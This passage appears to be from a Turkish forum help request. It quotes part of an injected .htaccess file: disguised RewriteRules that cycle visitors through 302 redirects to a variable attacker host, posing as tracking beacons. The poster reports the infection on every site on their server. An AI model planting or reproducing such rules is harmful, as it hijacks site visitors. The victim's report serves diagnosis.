1&oid=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ot=A&AQE=1  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:11341:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 36
RewriteRule ^.* http://%{ENV:uIq}/t.gif?_=1341363762601&count=horizontal&counturl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&id=twitter-widget-0&lang=en&original_referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&related=detikcom&size=m&text=\%5C\%27Setan\%20Merah\%5C\%27\%20Masih\%20Akan\%20Sibuk\%20di\%20Bursa\%20Transfer&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&via=detiksport&type=share&twttr_referrer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&twttr_widget=1&twttr_hask=1&twttr_li=0&twttr_pid=v3:1338365199490939109167639  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9990:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 37
RewriteRule ^.* http://%{ENV:uIq}/b?c1=8&c2=6864323&rn=0.20815554799387093&c7=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&c3=997&c4=&c5=&c6=&c10=&c15=&c16=&c8=Advertisement&c9=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cv=1.8  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:10030:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 38
RewriteRule ^.* http://%{ENV:uIq}/delivery/lg.php?bannerid=31292&campaignid=3386&zoneid=1822&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=0d46fc7b96  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:10452:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 39
RewriteRule ^.* http://%{ENV:uIq}/tracker?event=media_connect_error&source=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&video_duration=60&domain=videocloud&playlist=1521712908001&video=1216096166001&platform=as3&time=1340340010421&errorCode=NetStream.Play.StreamNotFound&flash_version=WIN\%2010\%2C1\%2C102\%2C64&embed=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&mediaURL=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&account=89804535001&player_name=Direct\%20Lyrics\%20Sidebar\%20Playlist\%20Player(TEMP)&player=1522730664001&video_name=Taylor\%20Swift\%20Names\%20Billboard\%202011\%20Woman\%20of\%20the\%20Year  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:10576:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 40
RewriteRule ^.* http://%{ENV:uIq}/pview?event=pview&fpc=d96b1f4-137eaa87da1-3bf81330-13300&sessionID=1342177200382.49987&sourceURL=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&hostname=www.mangahere.com&location=/manga/hapi_mari/v05/c017/12.html&publisher=e47efe7d-147b-4731-ac42-9838ccdc52f2&shareHash=sthash.Lv2nDnno&incomingHash=&refDomain=www.mangahere.com&refQuery=manga/hapi_mari/v05/c017/11.html&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&sharURL=&source=share5x&title=Hapi\%20Mari\%2017\%20-\%20Read\%20Hapi\%20Mari\%20Chapter\%2017\%20Online\%20-\%20Page\%2012&ts1342177200384.0=  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9163:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 41
RewriteRule ^.* http://%{ENV:uIq}/imghover?iact=hm&ei=e3XhT7lRg_KtB_CKsZ8D&q=big+asian+double&tbs=&page=1&tbnh=121&tbnw=161&start=0&ndsp=19&dur=1066&tbnid=b2FnXoojy99IwM:&hovh=194&hovw=259&vpx=111&vpy=278&imgurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&imgrefurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ved=1t:1527,r:6,s:0,i:88&vetl=ms  [R=302,NE,L,CO=mTH:%{ENV:mTH}:%{HTTP_HOST}:9610:/:0:HttpOnly]
RewriteCond %{ENV:mTH} 42
RewriteRule ^.* http://%{ENV:uIq}/event.js?thread_slug=serialize&user_type=anon&referrer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&active_switches=\%5B\%22olark_admin_addons\%22\%2C\%22digests:add\%22\%2C\%22discovery_on_user_activity\%22\%2C\%22use_rs_paginator_30m\%22\%2C\%22es_index_threads\%22\%2C\%22discovery_best_comment\%22\%2C\%22html_email\%22\%2C\%22phoenix_reputation\%22\%2C\%22firehose\%22\%2C\%22olark_admin_packages\%22\%2C\%22firehose_gnip_http\%22\%2C\%22textdigger_classification\%22\%2C\%22statsd_created\%22\%2C\%22bespin\%22\%2C\%22firehose_pubsub\%22\%2C\%22firehose_message_db_lookup\%22\%2C\%22limit_get_posts_days_30d\%22\%2C\%22shardvote\%22\%2C\%22juggler_thread_onReady\%22\%2C\%22discovery_network\%22\%2C\%22redis_sessions\%22\%2C\%22edits_to_spam\%22\%2C\%22embedapi\%22\%2C\%22shorten_notifications_links\%22\%2C\%22ssl\%22\%2C\%22website_2012_deploy\%22\%2C\%22shardpost:index\%22\%2C\%22usertransformer_reputation\%22\%2C\%22fingerprint\%22\%2C\%22send_to_impermium\%22\%2C\%22firehose_push\%22\%2C\%22shardpost\%22\%2C\%22ext_discovery_user\%22\%2C\%22train_impermium\%22\%2C\%22digests\%22\%2C\%22show_captcha_on_links\%22\%2C\%22website_base_template\%22\%2C\%22firehose_pubsub_throttle\%22\%2C\%22new_moderate\%22\%2C\%22use_rs_paginator_60m\%22\%2C\%22redis_threadcount\%22\%2C\%22shardvote:index\%22\%2C\%22listactivity_replies\%22\%2C\%22juggler_enabled\%22\%2C\%22next_thread_sharing\%22\%2C\%22use_master_for_api\%22\%2C\%22next_raven\%22\%2C\%22next_realtime:indicators\%22\%2C\%22moderate_ascending\%22\%2C\%22notifications:generate_msgid\%22\%2C\%22community_icon\%22\%2C\%22static_styles\%22\%2C\%22stats\%22\%2C\%22realtime\%22\%2C\%22redis_notification_tokens\%22\%2C\%22realtime_cached\%22\%2C\%22olark_support\%22\%2C\%22firehose_gnip\%22\%2C\%22discovery_on_content\%22\%2C\%22digests:process\%22\%2C\%22olark_addons\%22\%2C\%22transitional_sessions\%22\%2C\%22phoenix_optout\%22\%2C\%22use_impermium\%22\%2C\%22shardvote:api\%22\%2C\%22phoenix\%22\%2C\%22discovery_redirect_event\%22\%2C\%22new_thread_create\%22\%2C\%22autocommitted_thread\%22\%2C\%22theme_editor_disabled\%22\%2C\%22shardvote:backfills\%22\%2C\%22next_realtime\%22\%2C

</IfModule>
#ad174e61d5d758e3c2bef0c09b6fe063f946dd9d81a3b0777f12b218
Nah aha böyle virüs, sunucuda ne kadar site varsa hepsinde bu mevcut bunun çözümü nedir :S